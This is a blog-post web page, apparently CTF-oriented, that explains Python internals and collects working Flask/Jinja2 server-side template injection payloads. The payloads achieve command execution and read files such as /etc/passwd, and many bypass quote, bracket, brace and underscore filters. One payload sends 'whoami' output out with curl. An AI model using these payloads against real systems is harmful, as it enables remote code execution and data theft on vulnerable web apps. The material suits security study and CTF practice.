<!DOCTYPE html>
<html lang="">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5/css/all.min.css">
  <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/pace-js@1/themes/blue/pace-theme-minimal.css">
  <script src="//cdn.jsdelivr.net/npm/pace-js@1/pace.min.js"></script>

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"blog.wendell.pro","root":"/","scheme":"Mist","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"always","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="本文首发与先知社区: https:&#x2F;&#x2F;xz.aliyun.com&#x2F;t&#x2F;8029关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下">
<meta property="og:type" content="article">
<meta property="og:title" content="flask_ssti_绕过总结">
<meta property="og:url" content="http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/index.html">
<meta property="og:site_name" content="Wendell&#39;s blog">
<meta property="og:description" content="本文首发与先知社区: https:&#x2F;&#x2F;xz.aliyun.com&#x2F;t&#x2F;8029关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下">
<meta property="og:locale">
<meta property="og:image" content="https://xzfile.aliyuncs.com/media/upload/picture/20200716155959-58882322-c73a-1.png">
<meta property="og:image" content="https://xzfile.aliyuncs.com/media/upload/picture/20200716160000-59222120-c73a-1.png">
<meta property="og:image" content="https://xzfile.aliyuncs.com/media/upload/picture/20200716160001-59c8db46-c73a-1.png">
<meta property="og:image" content="https://xzfile.aliyuncs.com/media/upload/picture/20200716160002-5a494876-c73a-1.png">
<meta property="article:published_time" content="2020-11-25T02:10:37.000Z">
<meta property="article:modified_time" content="2021-02-25T06:57:00.661Z">
<meta property="article:author" content="Wendell">
<meta property="article:tag" content="ctf">
<meta property="article:tag" content="姿势总结">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xzfile.aliyuncs.com/media/upload/picture/20200716155959-58882322-c73a-1.png">

<link rel="canonical" href="http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'default'
  };
</script>

  <title>flask_ssti_绕过总结 | Wendell's blog</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/atom.xml" title="Wendell's blog" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="Toggle navigation bar">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">Wendell's blog</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>Home</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>Categories</a>

  </li>
  </ul>
</nav>




</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="default">
    <link itemprop="mainEntityOfPage" href="http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/avatar.jpg">
      <meta itemprop="name" content="Wendell">
      <meta itemprop="description" content="Wendell blog">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Wendell's blog">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          flask_ssti_绕过总结
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">Posted on</span>

              <time title="Created: 2020-11-25 10:10:37" itemprop="dateCreated datePublished" datetime="2020-11-25T10:10:37+08:00">2020-11-25</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">Edited on</span>
                <time title="Modified: 2021-02-25 14:57:00" itemprop="dateModified" datetime="2021-02-25T14:57:00+08:00">2021-02-25</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">In</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/ctf/" itemprop="url" rel="index"><span itemprop="name">ctf</span></a>
                </span>
            </span>

          
            <span class="post-meta-item" title="Views" id="busuanzi_container_page_pv" style="display: none;">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">Views: </span>
              <span id="busuanzi_value_page_pv"></span>
            </span>

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <blockquote>
<p>本文首发与先知社区: <a target="_blank" rel="noopener" href="https://xz.aliyun.com/t/8029">https://xz.aliyun.com/t/8029</a><br>关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下</p>
</blockquote>
<a id="more"></a>


<h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><h3 id="python执行环境"><a href="#python执行环境" class="headerlink" title="python执行环境"></a>python执行环境</h3><p>Python 会根据作用域把代码编译成字节码,然后生成PyCodeObject 对象,然后PyCodeObject 对象在和PyFrameObject关联,PyFrameObject有运行所需的名字空间信息.</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716155959-58882322-c73a-1.png" alt="image-20200716100051631"></p>
<h4 id="对于一个module"><a href="#对于一个module" class="headerlink" title="对于一个module"></a>对于一个module</h4><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716160000-59222120-c73a-1.png" alt="image-20200716101725346"></p>
<p>local是,函数内的局部变量,global是模块内的全局变量,builtin是python内建函数,如open</p>
<p>利用sys._getframe() 获得当前Frame,打印结果如下</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716160001-59c8db46-c73a-1.png" alt="image-20200716104414640"></p>
<p>注意对于python来说,global只是局限于module的,也就是如果moduleA导入了moduleB,则执行moduleB的函数,作用域仅限于moduleB,如果moduleB导入了moduleC,但是对于A来说,moduleC是不可见的</p>
<h4 id="对于函数"><a href="#对于函数" class="headerlink" title="对于函数"></a>对于函数</h4><p>python会依据,PyCodeObject对象和当前PyFrameObject对象生成,PyFunctionObject对象,PyFunctionObject中有两个重要的变量，func_code, func_globals。其中func_code是函数对象对应的PyCodeObject，而func_globals则是函数的global名字空间,可以通过python3 ,可以通过__globals__访问</p>
<h4 id="对于类"><a href="#对于类" class="headerlink" title="对于类"></a>对于类</h4><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716160002-5a494876-c73a-1.png" alt="image-20200716133409263"></p>
<p>python的所有类是type的实例,又都继承自object类,因为python支持多继承,可以通过base,mro得到继承的父类</p>
<p>Python在初始化class对象时会填充tp_dict,这个tp_dict会用来搜索类的方法和属性的,其中对于一些特殊方法比如<code>__repr__</code>,开始指向一个默认的slot_tp_repr方法,如果在一个class中重新定义了<code>__repr__</code>方法，则在创建class对象的时候，就会将默认的tp_repr指向的方法替换为该slot_to_repr方法,并且python的[1:2]等操作,是可以通过这些特殊方法实现的.</p>
<p>python的方法其实是对PyFunctionObject的包装，封装成了PyMethodObject对象，这个对象除了PyFunctionObject对象本身，还新增了class对象和成员函数调用的self参数</p>
<h3 id="Flask-Jinja2"><a href="#Flask-Jinja2" class="headerlink" title="Flask/Jinja2"></a>Flask/Jinja2</h3><p>作为 web层面的攻击,我们要关注语言层面的特性和绕过</p>
<p>参考文档如下:</p>
<p><a target="_blank" rel="noopener" href="https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters">https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters</a></p>
<p><a target="_blank" rel="noopener" href="https://dormousehole.readthedocs.io/en/latest/">https://dormousehole.readthedocs.io/en/latest/</a></p>
<p>Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick</p>
<p>基本语法如下:</p>
<ul>
<li><p><code>&#123;&#123; ... &#125;&#125; for [Expressions](https://jinja.palletsprojects.com/en/2.11.x/templates/#expressions) 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果</code></p>
</li>
<li><p><code>&#123;% ... %&#125;` for [Statements](https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-control-structures) ,可以实现for,if等语句,还支持set语法,可以给变量赋值</code></p>
<p>如</p>
</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set chr&#x3D;().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %&#125;</span><br></pre></td></tr></table></figure>
<p>  找到chr函数,并且赋值给chr变量</p>
<h2 id="命令执行构造"><a href="#命令执行构造" class="headerlink" title="命令执行构造"></a>命令执行构造</h2><p><code>在&#123;&#123;&#125;&#125;我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval,open这些操作是不能使用的,但根据前面的知识,我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins```

### flask内置函数

这种方法之前好像没人提过

Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;url_for.__globals__[&#39;__builtins__&#39;].__import__(&#39;os&#39;).system(&#39;ls&#39;)&#125;&#125;</span><br><span class="line">&#123;&#123;request.__init__.__globals__[&#39;__builtins__&#39;].open(&#39;&#x2F;flag&#39;).read()&#125;&#125;</span><br></pre></td></tr></table></figure>
如果过滤了config,又需要查config

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;config&#125;&#125;</span><br><span class="line">&#123;&#123;get_flashed_messages.__globals__[&#39;current_app&#39;].config&#125;&#125;</span><br></pre></td></tr></table></figure>


### 通过基类查找子类

虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类

利用

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">#python2.7</span><br><span class="line">&#39;&#39;.__class__.__mro__[2]</span><br><span class="line">&#123;&#125;.__class__.__bases__[0]</span><br><span class="line">().__class__.__bases__[0]</span><br><span class="line">[].__class__.__bases__[0]</span><br><span class="line">request.__class__.__mro__[1]</span><br><span class="line">#python3.7</span><br><span class="line">&#39;&#39;.__class__.__mro__[1]</span><br><span class="line">&#123;&#125;.__class__.__bases__[0]</span><br><span class="line">().__class__.__bases__[0]</span><br><span class="line">[].__class__.__bases__[0]</span><br><span class="line">[].__class__.__base__</span><br><span class="line">().__class__.__base__</span><br><span class="line">&#123;&#125;.__class__.__base__</span><br><span class="line">request.__class__.__mro__[1]</span><br><span class="line">session.__class__.__mro__[1]</span><br><span class="line">redirect.__class__.__mro__[1]</span><br></pre></td></tr></table></figure>
等得到object 对象,然后通过```__subclasses__()```方法,得到所有子类,在找重载过```__inti__,__repr__```等特殊方法的类,利用这些方法的```__globals__```得到,```__builtins__```,或者```os,codecs```等可以进行代码执行的调用.

常见payload

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F; 59 为warnings.WarningMessag</span><br><span class="line">&#39;&#39;.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[&#39;__builtins__&#39;][&#39;eval&#39;](&#39;__import__(&quot;os&quot;).popen(&quot;ls&quot;).read()&#39;)</span><br></pre></td></tr></table></figure>
不使用globals的payload

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F; &lt;class &#39;warnings.catch_warnings&#39;&gt;类在在内部定义了_module&#x3D;sys.modules[&#39;warnings&#39;]，然后warnings模块包含有__builtins__,</span><br><span class="line">如果可以找到warnings.catch_warnings类,则可以不使用  globals</span><br><span class="line"></span><br><span class="line">&#39;&#39;.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__[&#39;__import__&#39;](&quot;os&quot;).system(&quot;calc&quot;)</span><br></pre></td></tr></table></figure>


## 过滤绕过

#### 前置知识

- 利用python的魔术方法,也可以实现字典,数组取值等操作

- Jinja2对模板做了特殊处理,所以通过

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A[&#39;__init__&#39;]</span><br></pre></td></tr></table></figure>
也可以访问A的方法,属性

- Jinja2 的attr 过滤器可以获得对象的属性或方法

- flask内置的request对象可以得到请求的信息
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">request.args.name</span><br><span class="line">request.cookies.name</span><br><span class="line">request.headers.name</span><br><span class="line">request.values.name</span><br><span class="line">request.form.name</span><br></pre></td></tr></table></figure>
### 关键字过滤

#### 没过滤引号

- 如果没用过滤引号,使用反转,或者各种拼接绕过

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;&#39;&#39;.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__[&#39;__snitliub__&#39;[::-1]][&#39;eval&#39;](&#39;__import__(&quot;os&quot;).popen(&quot;ls&quot;).read()&#39;)&#125;&#125;</span><br><span class="line"></span><br><span class="line">&#123;&#123;&#39;&#39;.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__[&#39;__buil&#39;+&#39;tins__&#39;[::-1]][&#39;eval&#39;](&#39;__import__(&quot;os&quot;).popen(&quot;ls&quot;).read()&#39;)&#125;&#125;</span><br></pre></td></tr></table></figure>
#### 过滤了引号

  - 利用将需要的变量放在请求中,然后通过[],或者通过attr,```__getattribute__```获得

<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F; url?a&#x3D;eval</span><br><span class="line">&#39;&#39;.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a](&#39;__import__(&quot;os&quot;).popen(&quot;ls&quot;).read()&#39;)</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F; Cookie: aa&#x3D;__class__;bb&#x3D;__mro__;cc&#x3D;__subclasses__</span><br><span class="line">&#123;&#123;((request|attr(request.cookies.get(&#39;aa&#39;))|attr(request.cookies.get(&#39;bb&#39;))|list).pop(-1))|attr(request.cookies.get(&#39;cc&#39;))()&#125;&#125;</span><br></pre></td></tr></table></figure>
  - 如果request被ban,可以考虑通过```&#123;&#123;(config.__str__()[2])+(config.__str__()[3])&#125;&#125;</code>拼接需要的字符</p>
<ul>
<li>查出chr函数,利用set赋值,然后使用</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set chr&#x3D;().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %&#125;&#123;&#123; ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() &#125;&#125;</span><br></pre></td></tr></table></figure>
<ul>
<li>利用内置过滤器拼接出,’%c’,再利用’’%语法得到任意字符</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">get %</span><br><span class="line">找到特殊字符&lt;,url编码,得到%</span><br><span class="line">&#123;%set pc &#x3D; g|lower|list|first|urlencode|first%&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">get &#39;c&#39;</span><br><span class="line"></span><br><span class="line">&#123;%set c&#x3D;dict(c&#x3D;1).keys()|reverse|first%&#125;</span><br><span class="line"></span><br><span class="line">字符串拼接</span><br><span class="line"></span><br><span class="line">&#123;%set udl&#x3D;dict(a&#x3D;pc,c&#x3D;c).values()|join %&#125;</span><br><span class="line"></span><br><span class="line">可以得到任意字符了</span><br><span class="line"></span><br><span class="line">get _</span><br><span class="line">&#123;%set udl2&#x3D;udl%(95)%&#125;&#123;&#123;udl&#125;&#125;</span><br></pre></td></tr></table></figure>
<h3 id="特殊字符过滤"><a href="#特殊字符过滤" class="headerlink" title="特殊字符过滤"></a>特殊字符过滤</h3><p>其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过</p>
<h4 id="过滤"><a href="#过滤" class="headerlink" title="过滤["></a>过滤[</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#getitem、pop</span><br><span class="line">&#39;&#39;.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(&#39;&#x2F;etc&#x2F;passwd&#39;).read()</span><br><span class="line">&#39;&#39;.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(&#39;ls&#39;).read()</span><br><span class="line">&#39;&#39;.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__(&#39;__builtins__&#39;).__getitem__(&#39;__import__&#39;)(&#39;os&#39;).system(&#39;calc&#39;)</span><br></pre></td></tr></table></figure>
<h4 id="过滤双花括号"><a href="#过滤双花括号" class="headerlink" title="过滤双花括号"></a>过滤双花括号</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#用&#123;%%&#125;标记</span><br><span class="line">&#123;% if &#39;&#39;.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen(&#39;curl http:&#x2F;&#x2F;127.0.0.1:7999&#x2F;?i&#x3D;&#96;whoami&#96;&#39;).read()&#x3D;&#x3D;&#39;p&#39; %&#125;1&#123;% endif %&#125;</span><br><span class="line">这样会没有回显,考虑带外或者盲注</span><br><span class="line"></span><br><span class="line"># 用&#123;%print%&#125;标记,有回显</span><br><span class="line">&#123;%print config%&#125;</span><br></pre></td></tr></table></figure>


<h4 id="过滤下划线"><a href="#过滤下划线" class="headerlink" title="过滤下划线"></a>过滤下划线</h4><p>和过滤字符串一样绕过即可</p>
<h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p><a target="_blank" rel="noopener" href="https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A0%BC%E5%BC%8F%E5%8C%96">https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A0%BC%E5%BC%8F%E5%8C%96</a></p>
<p><a target="_blank" rel="noopener" href="https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/">https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/</a></p>
<p><a target="_blank" rel="noopener" href="https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB">https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB</a></p>
<p><a target="_blank" rel="noopener" href="https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/">https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/</a></p>
<p><a target="_blank" rel="noopener" href="https://xz.aliyun.com/t/52">https://xz.aliyun.com/t/52</a></p>
<p><a target="_blank" rel="noopener" href="https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93">https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93</a></p>

    </div>

    
    
    
        

  <div class="followme">
    <p>Welcome to my other publishing channels</p>

    <div class="social-list">

        <div class="social-item">
          <a target="_blank" class="social-link" href="/atom.xml">
            <span class="icon">
              <i class="fa fa-rss"></i>
            </span>

            <span class="label">RSS</span>
          </a>
        </div>
    </div>
  </div>


      <footer class="post-footer">
          <div class="post-tags">
              <a href="/tags/ctf/" rel="tag"># ctf</a>
              <a href="/tags/%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/" rel="tag"># 姿势总结</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item"></div>
      <div class="post-nav-item">
    <a href="/2021/01/18/pythonn-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/" rel="next" title="python_沙箱逃逸_绕过总结">
      python_沙箱逃逸_绕过总结 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          Table of Contents
        </li>
        <li class="sidebar-nav-overview">
          Overview
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86"><span class="nav-number">1.</span> <span class="nav-text">前置知识</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#python%E6%89%A7%E8%A1%8C%E7%8E%AF%E5%A2%83"><span class="nav-number">1.1.</span> <span class="nav-text">python执行环境</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%AF%B9%E4%BA%8E%E4%B8%80%E4%B8%AAmodule"><span class="nav-number">1.1.1.</span> <span class="nav-text">对于一个module</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%AF%B9%E4%BA%8E%E5%87%BD%E6%95%B0"><span class="nav-number">1.1.2.</span> <span class="nav-text">对于函数</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%AF%B9%E4%BA%8E%E7%B1%BB"><span class="nav-number">1.1.3.</span> <span class="nav-text">对于类</span></a></li></ol></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Flask-Jinja2"><span class="nav-number">1.2.</span> <span class="nav-text">Flask&#x2F;Jinja2</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%9E%84%E9%80%A0"><span class="nav-number">2.</span> <span class="nav-text">命令执行构造</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%89%B9%E6%AE%8A%E5%AD%97%E7%AC%A6%E8%BF%87%E6%BB%A4"><span class="nav-number">2.1.</span> <span class="nav-text">特殊字符过滤</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E8%BF%87%E6%BB%A4"><span class="nav-number">2.1.1.</span> <span class="nav-text">过滤[</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E8%BF%87%E6%BB%A4%E5%8F%8C%E8%8A%B1%E6%8B%AC%E5%8F%B7"><span class="nav-number">2.1.2.</span> <span class="nav-text">过滤双花括号</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E8%BF%87%E6%BB%A4%E4%B8%8B%E5%88%92%E7%BA%BF"><span class="nav-number">2.1.3.</span> <span class="nav-text">过滤下划线</span></a></li></ol></li></ol></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99"><span class="nav-number"></span> <span class="nav-text">参考资料</span></a></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="Wendell"
      src="/avatar.jpg">
  <p class="site-author-name" itemprop="name">Wendell</p>
  <div class="site-description" itemprop="description">Wendell blog</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
